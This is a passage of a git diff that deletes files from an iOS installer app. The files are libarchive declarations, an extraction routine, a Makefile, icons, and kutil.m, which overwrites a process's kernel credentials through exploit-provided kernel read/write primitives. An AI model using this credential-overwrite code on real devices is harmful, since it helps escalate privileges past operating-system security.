archive_entry *, time_t, long); -__LA_DECL void archive_entry_unset_ctime(struct archive_entry *); -__LA_DECL void archive_entry_set_dev(struct archive_entry *, dev_t); -__LA_DECL void archive_entry_set_devmajor(struct archive_entry *, dev_t); -__LA_DECL void archive_entry_set_devminor(struct archive_entry *, dev_t); -__LA_DECL void archive_entry_set_filetype(struct archive_entry *, unsigned int); -__LA_DECL void archive_entry_set_fflags(struct archive_entry *, - unsigned long /* set */, unsigned long /* clear */); -/* Returns pointer to start of first invalid token, or NULL if none. */ -/* Note that all recognized tokens are processed, regardless. */ -__LA_DECL const char *archive_entry_copy_fflags_text(struct archive_entry *, - const char *); -__LA_DECL const wchar_t *archive_entry_copy_fflags_text_w(struct archive_entry *, - const wchar_t *); -__LA_DECL void archive_entry_set_gid(struct archive_entry *, la_int64_t); -__LA_DECL void archive_entry_set_gname(struct archive_entry *, const char *); -__LA_DECL void archive_entry_set_gname_utf8(struct archive_entry *, const char *); -__LA_DECL void archive_entry_copy_gname(struct archive_entry *, const char *); -__LA_DECL void archive_entry_copy_gname_w(struct archive_entry *, const wchar_t *); -__LA_DECL int archive_entry_update_gname_utf8(struct archive_entry *, const char *); -__LA_DECL void archive_entry_set_hardlink(struct archive_entry *, const char *); -__LA_DECL void archive_entry_set_hardlink_utf8(struct archive_entry *, const char *); -__LA_DECL void archive_entry_copy_hardlink(struct archive_entry *, const char *); -__LA_DECL void archive_entry_copy_hardlink_w(struct archive_entry *, const wchar_t *); -__LA_DECL int archive_entry_update_hardlink_utf8(struct archive_entry *, const char *); -__LA_DECL void archive_entry_set_ino(struct archive_entry *, la_int64_t); -__LA_DECL void archive_entry_set_ino64(struct archive_entry *, la_int64_t); -__LA_DECL void archive_entry_set_link(struct archive_entry *, const char *); -__LA_DECL void archive_entry_set_link_utf8(struct archive_entry *, const char *); -__LA_DECL void archive_entry_copy_link(struct archive_entry *, const char *); -__LA_DECL void archive_entry_copy_link_w(struct archive_entry *, const wchar_t *); -__LA_DECL int archive_entry_update_link_utf8(struct archive_entry *, const char *); -__LA_DECL void archive_entry_set_mode(struct archive_entry *, __LA_MODE_T); -__LA_DECL void archive_entry_set_mtime(struct archive_entry *, time_t, long); -__LA_DECL void archive_entry_unset_mtime(struct archive_entry *); -__LA_DECL void archive_entry_set_nlink(struct archive_entry *, unsigned int); -__LA_DECL void archive_entry_set_pathname(struct archive_entry *, const char *); -__LA_DECL void archive_entry_set_pathname_utf8(struct archive_entry *, const char *); -__LA_DECL void archive_entry_copy_pathname(struct archive_entry *, const char *); -__LA_DECL void archive_entry_copy_pathname_w(struct archive_entry *, const wchar_t *); -__LA_DECL int archive_entry_update_pathname_utf8(struct archive_entry *, const char *); -__LA_DECL void archive_entry_set_perm(struct archive_entry *, __LA_MODE_T); -__LA_DECL void archive_entry_set_rdev(struct archive_entry *, dev_t); -__LA_DECL void archive_entry_set_rdevmajor(struct archive_entry *, dev_t); -__LA_DECL void archive_entry_set_rdevminor(struct archive_entry *, dev_t); -__LA_DECL void archive_entry_set_size(struct archive_entry *, la_int64_t); -__LA_DECL void archive_entry_unset_size(struct archive_entry *); -__LA_DECL void archive_entry_copy_sourcepath(struct archive_entry *, const char *); -__LA_DECL void archive_entry_copy_sourcepath_w(struct archive_entry *, const wchar_t *); -__LA_DECL void archive_entry_set_symlink(struct archive_entry *, const char *); -__LA_DECL void archive_entry_set_symlink_type(struct archive_entry *, int); -__LA_DECL void archive_entry_set_symlink_utf8(struct archive_entry *, const char *); -__LA_DECL void archive_entry_copy_symlink(struct archive_entry *, const char *); -__LA_DECL void archive_entry_copy_symlink_w(struct archive_entry *, const wchar_t *); -__LA_DECL int archive_entry_update_symlink_utf8(struct archive_entry *, const char *); -__LA_DECL void archive_entry_set_uid(struct archive_entry *, la_int64_t); -__LA_DECL void archive_entry_set_uname(struct archive_entry *, const char *); -__LA_DECL void archive_entry_set_uname_utf8(struct archive_entry *, const char *); -__LA_DECL void archive_entry_copy_uname(struct archive_entry *, const char *); -__LA_DECL void archive_entry_copy_uname_w(struct archive_entry *, const wchar_t *); -__LA_DECL int archive_entry_update_uname_utf8(struct archive_entry *, const char *); -__LA_DECL void archive_entry_set_is_data_encrypted(struct archive_entry *, char is_encrypted); -__LA_DECL void archive_entry_set_is_metadata_encrypted(struct archive_entry *, char is_encrypted); -/* - * Routines to bulk copy fields to/from a platform-native "struct - * stat." Libarchive used to just store a struct stat inside of each - * archive_entry object, but this created issues when trying to - * manipulate archives on systems different than the ones they were - * created on. - * - * TODO: On Linux and other LFS systems, provide both stat32 and - * stat64 versions of these functions and all of the macro glue so - * that archive_entry_stat is magically defined to - * archive_entry_stat32 or archive_entry_stat64 as appropriate. - */ -__LA_DECL const struct stat *archive_entry_stat(struct archive_entry *); -__LA_DECL void archive_entry_copy_stat(struct archive_entry *, const struct stat *); - -/* - * Storage for Mac OS-specific AppleDouble metadata information. - * Apple-format tar files store a separate binary blob containing - * encoded metadata with ACL, extended attributes, etc. - * This provides a place to store that blob. - */ - -__LA_DECL const void * archive_entry_mac_metadata(struct archive_entry *, size_t *); -__LA_DECL void archive_entry_copy_mac_metadata(struct archive_entry *, const void *, size_t); - -/* - * Digest routine. This is used to query the raw hex digest for the - * given entry. The type of digest is provided as an argument. - */ -#define ARCHIVE_ENTRY_DIGEST_MD5 0x00000001 -#define ARCHIVE_ENTRY_DIGEST_RMD160 0x00000002 -#define ARCHIVE_ENTRY_DIGEST_SHA1 0x00000003 -#define ARCHIVE_ENTRY_DIGEST_SHA256 0x00000004 -#define ARCHIVE_ENTRY_DIGEST_SHA384 0x00000005 -#define ARCHIVE_ENTRY_DIGEST_SHA512 0x00000006 - -__LA_DECL const unsigned char * archive_entry_digest(struct archive_entry *, int /* type */); - -/* - * ACL routines. This used to simply store and return text-format ACL - * strings, but that proved insufficient for a number of reasons: - * = clients need control over uname/uid and gname/gid mappings - * = there are many different ACL text formats - * = would like to be able to read/convert archives containing ACLs - * on platforms that lack ACL libraries - * - * This last point, in particular, forces me to implement a reasonably - * complete set of ACL support routines. - */ - -/* - * Permission bits. - */ -#define ARCHIVE_ENTRY_ACL_EXECUTE 0x00000001 -#define ARCHIVE_ENTRY_ACL_WRITE 0x00000002 -#define ARCHIVE_ENTRY_ACL_READ 0x00000004 -#define ARCHIVE_ENTRY_ACL_READ_DATA 0x00000008 -#define ARCHIVE_ENTRY_ACL_LIST_DIRECTORY 0x00000008 -#define ARCHIVE_ENTRY_ACL_WRITE_DATA 0x00000010 -#define ARCHIVE_ENTRY_ACL_ADD_FILE 0x00000010 -#define ARCHIVE_ENTRY_ACL_APPEND_DATA 0x00000020 -#define ARCHIVE_ENTRY_ACL_ADD_SUBDIRECTORY 0x00000020 -#define ARCHIVE_ENTRY_ACL_READ_NAMED_ATTRS 0x00000040 -#define ARCHIVE_ENTRY_ACL_WRITE_NAMED_ATTRS 0x00000080 -#define ARCHIVE_ENTRY_ACL_DELETE_CHILD 0x00000100 -#define ARCHIVE_ENTRY_ACL_READ_ATTRIBUTES 0x00000200 -#define ARCHIVE_ENTRY_ACL_WRITE_ATTRIBUTES 0x00000400 -#define ARCHIVE_ENTRY_ACL_DELETE 0x00000800 -#define ARCHIVE_ENTRY_ACL_READ_ACL 0x00001000 -#define ARCHIVE_ENTRY_ACL_WRITE_ACL 0x00002000 -#define ARCHIVE_ENTRY_ACL_WRITE_OWNER 0x00004000 -#define ARCHIVE_ENTRY_ACL_SYNCHRONIZE 0x00008000 - -#define ARCHIVE_ENTRY_ACL_PERMS_POSIX1E \ - (ARCHIVE_ENTRY_ACL_EXECUTE \ - | ARCHIVE_ENTRY_ACL_WRITE \ - | ARCHIVE_ENTRY_ACL_READ) - -#define ARCHIVE_ENTRY_ACL_PERMS_NFS4 \ - (ARCHIVE_ENTRY_ACL_EXECUTE \ - | ARCHIVE_ENTRY_ACL_READ_DATA \ - | ARCHIVE_ENTRY_ACL_LIST_DIRECTORY \ - | ARCHIVE_ENTRY_ACL_WRITE_DATA \ - | ARCHIVE_ENTRY_ACL_ADD_FILE \ - | ARCHIVE_ENTRY_ACL_APPEND_DATA \ - | ARCHIVE_ENTRY_ACL_ADD_SUBDIRECTORY \ - | ARCHIVE_ENTRY_ACL_READ_NAMED_ATTRS \ - | ARCHIVE_ENTRY_ACL_WRITE_NAMED_ATTRS \ - | ARCHIVE_ENTRY_ACL_DELETE_CHILD \ - | ARCHIVE_ENTRY_ACL_READ_ATTRIBUTES \ - | ARCHIVE_ENTRY_ACL_WRITE_ATTRIBUTES \ - | ARCHIVE_ENTRY_ACL_DELETE \ - | ARCHIVE_ENTRY_ACL_READ_ACL \ - | ARCHIVE_ENTRY_ACL_WRITE_ACL \ - | ARCHIVE_ENTRY_ACL_WRITE_OWNER \ - | ARCHIVE_ENTRY_ACL_SYNCHRONIZE) - -/* - * Inheritance values (NFS4 ACLs only); included in permset. - */ -#define ARCHIVE_ENTRY_ACL_ENTRY_INHERITED 0x01000000 -#define ARCHIVE_ENTRY_ACL_ENTRY_FILE_INHERIT 0x02000000 -#define ARCHIVE_ENTRY_ACL_ENTRY_DIRECTORY_INHERIT 0x04000000 -#define ARCHIVE_ENTRY_ACL_ENTRY_NO_PROPAGATE_INHERIT 0x08000000 -#define ARCHIVE_ENTRY_ACL_ENTRY_INHERIT_ONLY 0x10000000 -#define ARCHIVE_ENTRY_ACL_ENTRY_SUCCESSFUL_ACCESS 0x20000000 -#define ARCHIVE_ENTRY_ACL_ENTRY_FAILED_ACCESS 0x40000000 - -#define ARCHIVE_ENTRY_ACL_INHERITANCE_NFS4 \ - (ARCHIVE_ENTRY_ACL_ENTRY_FILE_INHERIT \ - | ARCHIVE_ENTRY_ACL_ENTRY_DIRECTORY_INHERIT \ - | ARCHIVE_ENTRY_ACL_ENTRY_NO_PROPAGATE_INHERIT \ - | ARCHIVE_ENTRY_ACL_ENTRY_INHERIT_ONLY \ - | ARCHIVE_ENTRY_ACL_ENTRY_SUCCESSFUL_ACCESS \ - | ARCHIVE_ENTRY_ACL_ENTRY_FAILED_ACCESS \ - | ARCHIVE_ENTRY_ACL_ENTRY_INHERITED) - -/* We need to be able to specify combinations of these. */ -#define ARCHIVE_ENTRY_ACL_TYPE_ACCESS 0x00000100 /* POSIX.1e only */ -#define ARCHIVE_ENTRY_ACL_TYPE_DEFAULT 0x00000200 /* POSIX.1e only */ -#define ARCHIVE_ENTRY_ACL_TYPE_ALLOW 0x00000400 /* NFS4 only */ -#define ARCHIVE_ENTRY_ACL_TYPE_DENY 0x00000800 /* NFS4 only */ -#define ARCHIVE_ENTRY_ACL_TYPE_AUDIT 0x00001000 /* NFS4 only */ -#define ARCHIVE_ENTRY_ACL_TYPE_ALARM 0x00002000 /* NFS4 only */ -#define ARCHIVE_ENTRY_ACL_TYPE_POSIX1E (ARCHIVE_ENTRY_ACL_TYPE_ACCESS \ - | ARCHIVE_ENTRY_ACL_TYPE_DEFAULT) -#define ARCHIVE_ENTRY_ACL_TYPE_NFS4 (ARCHIVE_ENTRY_ACL_TYPE_ALLOW \ - | ARCHIVE_ENTRY_ACL_TYPE_DENY \ - | ARCHIVE_ENTRY_ACL_TYPE_AUDIT \ - | ARCHIVE_ENTRY_ACL_TYPE_ALARM) - -/* Tag values mimic POSIX.1e */ -#define ARCHIVE_ENTRY_ACL_USER 10001 /* Specified user. */ -#define ARCHIVE_ENTRY_ACL_USER_OBJ 10002 /* User who owns the file. */ -#define ARCHIVE_ENTRY_ACL_GROUP 10003 /* Specified group. */ -#define ARCHIVE_ENTRY_ACL_GROUP_OBJ 10004 /* Group who owns the file. */ -#define ARCHIVE_ENTRY_ACL_MASK 10005 /* Modify group access (POSIX.1e only) */ -#define ARCHIVE_ENTRY_ACL_OTHER 10006 /* Public (POSIX.1e only) */ -#define ARCHIVE_ENTRY_ACL_EVERYONE 10107 /* Everyone (NFS4 only) */ - -/* - * Set the ACL by clearing it and adding entries one at a time. - * Unlike the POSIX.1e ACL routines, you must specify the type - * (access/default) for each entry. Internally, the ACL data is just - * a soup of entries. API calls here allow you to retrieve just the - * entries of interest. This design (which goes against the spirit of - * POSIX.1e) is useful for handling archive formats that combine - * default and access information in a single ACL list. - */ -__LA_DECL void archive_entry_acl_clear(struct archive_entry *); -__LA_DECL int archive_entry_acl_add_entry(struct archive_entry *, - int /* type */, int /* permset */, int /* tag */, - int /* qual */, const char * /* name */); -__LA_DECL int archive_entry_acl_add_entry_w(struct archive_entry *, - int /* type */, int /* permset */, int /* tag */, - int /* qual */, const wchar_t * /* name */); - -/* - * To retrieve the ACL, first "reset", then repeatedly ask for the - * "next" entry. The want_type parameter allows you to request only - * certain types of entries. - */ -__LA_DECL int archive_entry_acl_reset(struct archive_entry *, int /* want_type */); -__LA_DECL int archive_entry_acl_next(struct archive_entry *, int /* want_type */, - int * /* type */, int * /* permset */, int * /* tag */, - int * /* qual */, const char ** /* name */); - -/* - * Construct a text-format ACL. The flags argument is a bitmask that - * can include any of the following: - * - * Flags only for archive entries with POSIX.1e ACL: - * ARCHIVE_ENTRY_ACL_TYPE_ACCESS - Include POSIX.1e "access" entries. - * ARCHIVE_ENTRY_ACL_TYPE_DEFAULT - Include POSIX.1e "default" entries. - * ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT - Include "default:" before each - * default ACL entry. - * ARCHIVE_ENTRY_ACL_STYLE_SOLARIS - Output only one colon after "other" and - * "mask" entries. - * - * Flags only for archive entries with NFSv4 ACL: - * ARCHIVE_ENTRY_ACL_STYLE_COMPACT - Do not output the minus character for - * unset permissions and flags in NFSv4 ACL permission and flag fields - * - * Flags for for archive entries with POSIX.1e ACL or NFSv4 ACL: - * ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID - Include extra numeric ID field in - * each ACL entry. - * ARCHIVE_ENTRY_ACL_STYLE_SEPARATOR_COMMA - Separate entries with comma - * instead of newline. - */ -#define ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID 0x00000001 -#define ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT 0x00000002 -#define ARCHIVE_ENTRY_ACL_STYLE_SOLARIS 0x00000004 -#define ARCHIVE_ENTRY_ACL_STYLE_SEPARATOR_COMMA 0x00000008 -#define ARCHIVE_ENTRY_ACL_STYLE_COMPACT 0x00000010 - -__LA_DECL wchar_t *archive_entry_acl_to_text_w(struct archive_entry *, - la_ssize_t * /* len */, int /* flags */); -__LA_DECL char *archive_entry_acl_to_text(struct archive_entry *, - la_ssize_t * /* len */, int /* flags */); -__LA_DECL int archive_entry_acl_from_text_w(struct archive_entry *, - const wchar_t * /* wtext */, int /* type */); -__LA_DECL int archive_entry_acl_from_text(struct archive_entry *, - const char * /* text */, int /* type */); - -/* Deprecated constants */ -#define OLD_ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID 1024 -#define OLD_ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT 2048 - -/* Deprecated functions */ -__LA_DECL const wchar_t *archive_entry_acl_text_w(struct archive_entry *, - int /* flags */) __LA_DEPRECATED; -__LA_DECL const char *archive_entry_acl_text(struct archive_entry *, - int /* flags */) __LA_DEPRECATED; - -/* Return bitmask of ACL types in an archive entry */ -__LA_DECL int archive_entry_acl_types(struct archive_entry *); - -/* Return a count of entries matching 'want_type' */ -__LA_DECL int archive_entry_acl_count(struct archive_entry *, int /* want_type */); - -/* Return an opaque ACL object. */ -/* There's not yet anything clients can actually do with this... */ -struct archive_acl; -__LA_DECL struct archive_acl *archive_entry_acl(struct archive_entry *); - -/* - * extended attributes - */ - -__LA_DECL void archive_entry_xattr_clear(struct archive_entry *); -__LA_DECL void archive_entry_xattr_add_entry(struct archive_entry *, - const char * /* name */, const void * /* value */, - size_t /* size */); - -/* - * To retrieve the xattr list, first "reset", then repeatedly ask for the - * "next" entry. - */ - -__LA_DECL int archive_entry_xattr_count(struct archive_entry *); -__LA_DECL int archive_entry_xattr_reset(struct archive_entry *); -__LA_DECL int archive_entry_xattr_next(struct archive_entry *, - const char ** /* name */, const void ** /* value */, size_t *); - -/* - * sparse - */ - -__LA_DECL void archive_entry_sparse_clear(struct archive_entry *); -__LA_DECL void archive_entry_sparse_add_entry(struct archive_entry *, - la_int64_t /* offset */, la_int64_t /* length */); - -/* - * To retrieve the xattr list, first "reset", then repeatedly ask for the - * "next" entry. - */ - -__LA_DECL int archive_entry_sparse_count(struct archive_entry *); -__LA_DECL int archive_entry_sparse_reset(struct archive_entry *); -__LA_DECL int archive_entry_sparse_next(struct archive_entry *, - la_int64_t * /* offset */, la_int64_t * /* length */); - -/* - * Utility to match up hardlinks. - * - * The 'struct archive_entry_linkresolver' is a cache of archive entries - * for files with multiple links. Here's how to use it: - * 1. Create a lookup object with archive_entry_linkresolver_new() - * 2. Tell it the archive format you're using. - * 3. Hand each archive_entry to archive_entry_linkify(). - * That function will return 0, 1, or 2 entries that should - * be written. - * 4. Call archive_entry_linkify(resolver, NULL) until - * no more entries are returned. - * 5. Call archive_entry_linkresolver_free(resolver) to free resources. - * - * The entries returned have their hardlink and size fields updated - * appropriately. If an entry is passed in that does not refer to - * a file with multiple links, it is returned unchanged. The intention - * is that you should be able to simply filter all entries through - * this machine. - * - * To make things more efficient, be sure that each entry has a valid - * nlinks value. The hardlink cache uses this to track when all links - * have been found. If the nlinks value is zero, it will keep every - * name in the cache indefinitely, which can use a lot of memory. - * - * Note that archive_entry_size() is reset to zero if the file - * body should not be written to the archive. Pay attention! - */ -struct archive_entry_linkresolver; - -/* - * There are three different strategies for marking hardlinks. - * The descriptions below name them after the best-known - * formats that rely on each strategy: - * - * "Old cpio" is the simplest, it always returns any entry unmodified. - * As far as I know, only cpio formats use this. Old cpio archives - * store every link with the full body; the onus is on the dearchiver - * to detect and properly link the files as they are restored. - * "tar" is also pretty simple; it caches a copy the first time it sees - * any link. Subsequent appearances are modified to be hardlink - * references to the first one without any body. Used by all tar - * formats, although the newest tar formats permit the "old cpio" strategy - * as well. This strategy is very simple for the dearchiver, - * and reasonably straightforward for the archiver. - * "new cpio" is trickier. It stores the body only with the last - * occurrence. The complication is that we might not - * see every link to a particular file in a single session, so - * there's no easy way to know when we've seen the last occurrence. - * The solution here is to queue one link until we see the next. - * At the end of the session, you can enumerate any remaining - * entries by calling archive_entry_linkify(NULL) and store those - * bodies. If you have a file with three links l1, l2, and l3, - * you'll get the following behavior if you see all three links: - * linkify(l1) => NULL (the resolver stores l1 internally) - * linkify(l2) => l1 (resolver stores l2, you write l1) - * linkify(l3) => l2, l3 (all links seen, you can write both). - * If you only see l1 and l2, you'll get this behavior: - * linkify(l1) => NULL - * linkify(l2) => l1 - * linkify(NULL) => l2 (at end, you retrieve remaining links) - * As the name suggests, this strategy is used by newer cpio variants. - * It's noticeably more complex for the archiver, slightly more complex - * for the dearchiver than the tar strategy, but makes it straightforward - * to restore a file using any link by simply continuing to scan until - * you see a link that is stored with a body. In contrast, the tar - * strategy requires you to rescan the archive from the beginning to - * correctly extract an arbitrary link. - */ - -__LA_DECL struct archive_entry_linkresolver *archive_entry_linkresolver_new(void); -__LA_DECL void archive_entry_linkresolver_set_strategy( - struct archive_entry_linkresolver *, int /* format_code */); -__LA_DECL void archive_entry_linkresolver_free(struct archive_entry_linkresolver *); -__LA_DECL void archive_entry_linkify(struct archive_entry_linkresolver *, - struct archive_entry **, struct archive_entry **); -__LA_DECL struct archive_entry *archive_entry_partial_links( - struct archive_entry_linkresolver *res, unsigned int *links); -#ifdef __cplusplus -} -#endif - -/* This is meaningless outside of this header. */ -#undef __LA_DECL - -#endif /* !ARCHIVE_ENTRY_H_INCLUDED */ diff --git a/Installer/TrollInstaller/TrollInstaller/kutil.h b/Installer/TrollInstaller/TrollInstaller/kutil.h deleted file mode 100644 index 32265e4..0000000 --- a/Installer/TrollInstaller/TrollInstaller/kutil.h +++ /dev/null @@ -1,53 +0,0 @@ -// -// proc.h -// fun15 -// -// Created by Lars Fröder on 11.06.22. -// - -#ifndef proc_h -#define proc_h - -#import - -#if defined(__cplusplus) -extern "C" { -#endif - -struct k_posix_cred { // (96 bytes) - uid_t cr_uid; // off=0x0 - uid_t cr_ruid; // off=0x20 - uid_t cr_svuid; // off=0x40 - u_short cr_ngroups; // off=0x60 - u_short __cr_padding; // off=0x70 - gid_t cr_groups[16]; // off=0x80 - gid_t cr_rgid; // off=0x280 - gid_t cr_svgid; // off=0x2a0 - uid_t cr_gmuid; // off=0x2c0 - int cr_flags; // off=0x2e0 -}; - -struct k_label { // (64 bytes) - int l_flags; // off=0x0 - int l_perpolicy[7]; // off=0x40 -}; - -struct k_ucred { // (144 bytes) - struct { // (16 bytes) - struct k_ucred * le_next; // off=0x0 - struct k_ucred * * le_prev; // off=0x40 -} cr_link; // off=0x0 - u_long cr_ref; // off=0x80 - struct k_posix_cred cr_posix; // off=0xc0 - struct k_label cr_label; // off=0x3c0 - struct au_session cr_audit; // off=0x400 -}; - -extern void proc_set_posix_cred(uint64_t proc, struct k_posix_cred posix_cred); -extern struct k_posix_cred proc_get_posix_cred(uint64_t proc); - -#if defined(__cplusplus) -} -#endif - -#endif /* proc_h */ diff --git a/Installer/TrollInstaller/TrollInstaller/kutil.m b/Installer/TrollInstaller/TrollInstaller/kutil.m deleted file mode 100644 index 6a5bb30..0000000 --- a/Installer/TrollInstaller/TrollInstaller/kutil.m +++ /dev/null @@ -1,31 +0,0 @@ -// -// proc.m -// fun15 -// -// Created by Lars Fröder on 11.06.22. -// - -#import "kutil.h" - -#import - -#import "KernelManager.h" -#import "exploit/xpaci.h" - -struct k_posix_cred proc_get_posix_cred(uint64_t proc) -{ - struct k_posix_cred pcred = {0}; - KernelManager* km = [KernelManager sharedInstance]; - uint64_t ucred = xpaci([km read64BitValueAtAddress:proc + km.struct_offsets.proc.ucred_offset]); - uint64_t posix_cred_kptr = ucred + km.struct_offsets.ucred.posix_offset; - [km readBufferAtAddress:posix_cred_kptr intoBuffer:&pcred withLength:sizeof(struct k_posix_cred)]; - return pcred; -} - -void proc_set_posix_cred(uint64_t proc, struct k_posix_cred posix_cred) -{ - KernelManager* km = [KernelManager sharedInstance]; - uint64_t ucred = xpaci([km read64BitValueAtAddress:proc + km.struct_offsets.proc.ucred_offset]); - uint64_t posix_cred_kptr = ucred + km.struct_offsets.ucred.posix_offset; - [km writeBuffer:&posix_cred withLength:sizeof(struct k_posix_cred) toAddress:posix_cred_kptr]; -} diff --git a/Installer/TrollInstaller/TrollInstaller/main.m b/Installer/TrollInstaller/TrollInstaller/main.m deleted file mode 100644 index eeee867..0000000 --- a/Installer/TrollInstaller/TrollInstaller/main.m +++ /dev/null @@ -1,18 +0,0 @@ -// -// main.m -// TrollInstaller -// -// Created by Lars Fröder on 17.08.22. -// - -#import -#import "AppDelegate.h" - -int main(int argc, char * argv[]) { - NSString * appDelegateClassName; - @autoreleasepool { - // Setup code that might create autoreleased objects goes here. - appDelegateClassName = NSStringFromClass([AppDelegate class]); - } - return UIApplicationMain(argc, argv, nil, appDelegateClassName); -} diff --git a/Installer/TrollInstaller/TrollInstaller/unarchive.h b/Installer/TrollInstaller/TrollInstaller/unarchive.h deleted file mode 100644 index 7f260f4..0000000 --- a/Installer/TrollInstaller/TrollInstaller/unarchive.h +++ /dev/null @@ -1,15 +0,0 @@ -// -// unarchive.h -// TrollInstaller -// -// Created by Lars Fröder on 02.09.22. -// - -#ifndef unarchive_h -#define unarchive_h - -@import Foundation; - -extern int extract(NSString* fileToExtract, NSString* extractionPath); - -#endif /* unarchive_h */ diff --git a/Installer/TrollInstaller/TrollInstaller/unarchive.m b/Installer/TrollInstaller/TrollInstaller/unarchive.m deleted file mode 100644 index 784d8db..0000000 --- a/Installer/TrollInstaller/TrollInstaller/unarchive.m +++ /dev/null @@ -1,94 +0,0 @@ -// -// unarchive.m -// TrollInstaller -// -// Created by Lars Fröder on 02.09.22. -// - -#import "unarchive.h" - -#include "headers/archive.h" -#include "headers/archive_entry.h" - -static int -copy_data(struct archive *ar, struct archive *aw) -{ - int r; - const void *buff; - size_t size; - la_int64_t offset; - - for (;;) { - r = archive_read_data_block(ar, &buff, &size, &offset); - if (r == ARCHIVE_EOF) - return (ARCHIVE_OK); - if (r < ARCHIVE_OK) - return (r); - r = archive_write_data_block(aw, buff, size, offset); - if (r < ARCHIVE_OK) { - fprintf(stderr, "%s\n", archive_error_string(aw)); - return (r); - } - } -} - -int extract(NSString* fileToExtract, NSString* extractionPath) -{ - struct archive *a; - struct archive *ext; - struct archive_entry *entry; - int flags; - int r; - - /* Select which attributes we want to restore. */ - flags = ARCHIVE_EXTRACT_TIME; - flags |= ARCHIVE_EXTRACT_PERM; - flags |= ARCHIVE_EXTRACT_ACL; - flags |= ARCHIVE_EXTRACT_FFLAGS; - - a = archive_read_new(); - archive_read_support_format_all(a); - archive_read_support_filter_all(a); - ext = archive_write_disk_new(); - archive_write_disk_set_options(ext, flags); - archive_write_disk_set_standard_lookup(ext); - if ((r = archive_read_open_filename(a, fileToExtract.UTF8String, 10240))) - return 1; - for (;;) - { - r = archive_read_next_header(a, &entry); - if (r == ARCHIVE_EOF) - break; - if (r < ARCHIVE_OK) - fprintf(stderr, "%s\n", archive_error_string(a)); - if (r < ARCHIVE_WARN) - return 1; - - NSString* currentFile = [NSString stringWithUTF8String:archive_entry_pathname(entry)]; - NSString* fullOutputPath = [extractionPath stringByAppendingPathComponent:currentFile]; - //printf("extracting %s to %s\n", currentFile.UTF8String, fullOutputPath.UTF8String); - archive_entry_set_pathname(entry, fullOutputPath.UTF8String); - - r = archive_write_header(ext, entry); - if (r < ARCHIVE_OK) - fprintf(stderr, "%s\n", archive_error_string(ext)); - else if (archive_entry_size(entry) > 0) { - r = copy_data(a, ext); - if (r < ARCHIVE_OK) - fprintf(stderr, "%s\n", archive_error_string(ext)); - if (r < ARCHIVE_WARN) - return 1; - } - r = archive_write_finish_entry(ext); - if (r < ARCHIVE_OK) - fprintf(stderr, "%s\n", archive_error_string(ext)); - if (r < ARCHIVE_WARN) - return 1; - } - archive_read_close(a); - archive_read_free(a); - archive_write_close(ext); - archive_write_free(ext); - - return 0; -} diff --git a/Installer/TrollInstaller2/.gitignore b/Installer/TrollInstaller2/.gitignore deleted file mode 100644 index faf8687..0000000 --- a/Installer/TrollInstaller2/.gitignore +++ /dev/null @@ -1,3 +0,0 @@ -.theos/ -packages/ -.DS_Store diff --git a/Installer/TrollInstaller2/Makefile b/Installer/TrollInstaller2/Makefile deleted file mode 100644 index 2f73a17..0000000 --- a/Installer/TrollInstaller2/Makefile +++ /dev/null @@ -1,17 +0,0 @@ -TARGET := iphone:clang:14.5:14.0 -INSTALL_TARGET_PROCESSES = TrollInstaller2 -ARCHS = arm64 arm64e - -include $(THEOS)/makefiles/common.mk - -APPLICATION_NAME = TrollInstaller2 - -TrollInstaller2_FILES = main.m $(wildcard *.m) $(wildcard ../../Helper/*.m) ../../Store/TSListControllerShared.m ../../Store/TSUtil.m -TrollInstaller2_FRAMEWORKS = UIKit CoreGraphics CoreServices -TrollInstaller2_PRIVATE_FRAMEWORKS = Preferences -TrollInstaller2_LIBRARIES = archive -TrollInstaller2_CFLAGS = -fobjc-arc -fmodules -DINSTALLER_EMBEDDED=1 -TrollInstaller2_PRIVATE_FRAMEWORKS = SpringBoardServices BackBoardServices -TrollInstaller2_CODESIGN_FLAGS = -Sentitlements.plist - -include $(THEOS_MAKE_PATH)/application.mk diff --git a/Installer/TrollInstaller2/Resources/AppIcon29x29.png b/Installer/TrollInstaller2/Resources/AppIcon29x29.png deleted file mode 100644 index e69de29..0000000 diff --git a/Installer/TrollInstaller2/Resources/AppIcon29x29@2x.png b/Installer/TrollInstaller2/Resources/AppIcon29x29@2x.png deleted file mode 100644 index e69de29..0000000 diff --git a/Installer/TrollInstaller2/Resources/AppIcon29x29@3x.png b/Installer/TrollInstaller2/Resources/AppIcon29x29@3x.png deleted file mode 100644 index e69de29..0000000 diff --git a/Installer/TrollInstaller2/Resources/AppIcon40x40.png b/Installer/TrollInstaller2/Resources/AppIcon40x40.png deleted file mode 100644 index e69de29..0000000 diff --git a/Installer/TrollInstaller2/Resources/AppIcon40x40@2x.png b/Installer/TrollInstaller2/Resources/AppIcon40x40@2x.png deleted file mode 100644 index e69de29..0000000 diff --git a/Installer/TrollInstaller2/Resources/AppIcon40x40@3x.png b/Installer/TrollInstaller2/Resources/AppIcon40x40@3x.png deleted file mode 100644 index e69de29..0000000 diff --git a/Installer/TrollInstaller2/Resources/AppIcon50x50.png b/Installer/TrollInstaller2/Resources/AppIcon50x50.png deleted file mode 100644 index e69de29..0000000 diff --git a/Installer/TrollInstaller2/Resources/AppIcon50x50@2x.png b/Installer/TrollInstaller2/Resources/AppIcon50x50@2x.png deleted file mode 100644 index e69de29..0000000 diff --git a/Installer/TrollInstaller2/Resources/AppIcon57x57.png b/Installer/TrollInstaller2/Resources/AppIcon57x57.png deleted file mode 100644 index e69de29..0000000 diff --git a/Installer/TrollInstaller2/Resources/AppIcon57x57@2x.png b/Installer/TrollInstaller2/Resources/AppIcon57x57@2x.png deleted file mode 100644 index e69de29..0000000 diff --git a/Installer/TrollInstaller2/Resources/AppIcon57x57@3x.png b/Installer/TrollInstaller2/Resources/AppIcon57x57@3x.png deleted file mode 100644 index e69de29..0000000 diff --git a/Installer/TrollInstaller2/Resources/AppIcon60x60.png b/Installer/TrollInstaller2/Resources/AppIcon60x60.png deleted file mode 100644 index e69de29..0000000 diff --git a/Installer/TrollInstaller2/Resources/AppIcon60x60@2x.png b/Installer/TrollInstaller2/Resources/AppIcon60x60@2x.png deleted file mode 100644 index e69de29..0000000 diff --git a/Installer/TrollInstaller2/Resources/AppIcon60x60@3x.png b/Installer/TrollInstaller2/Resources/AppIcon60x60@3x.png deleted file 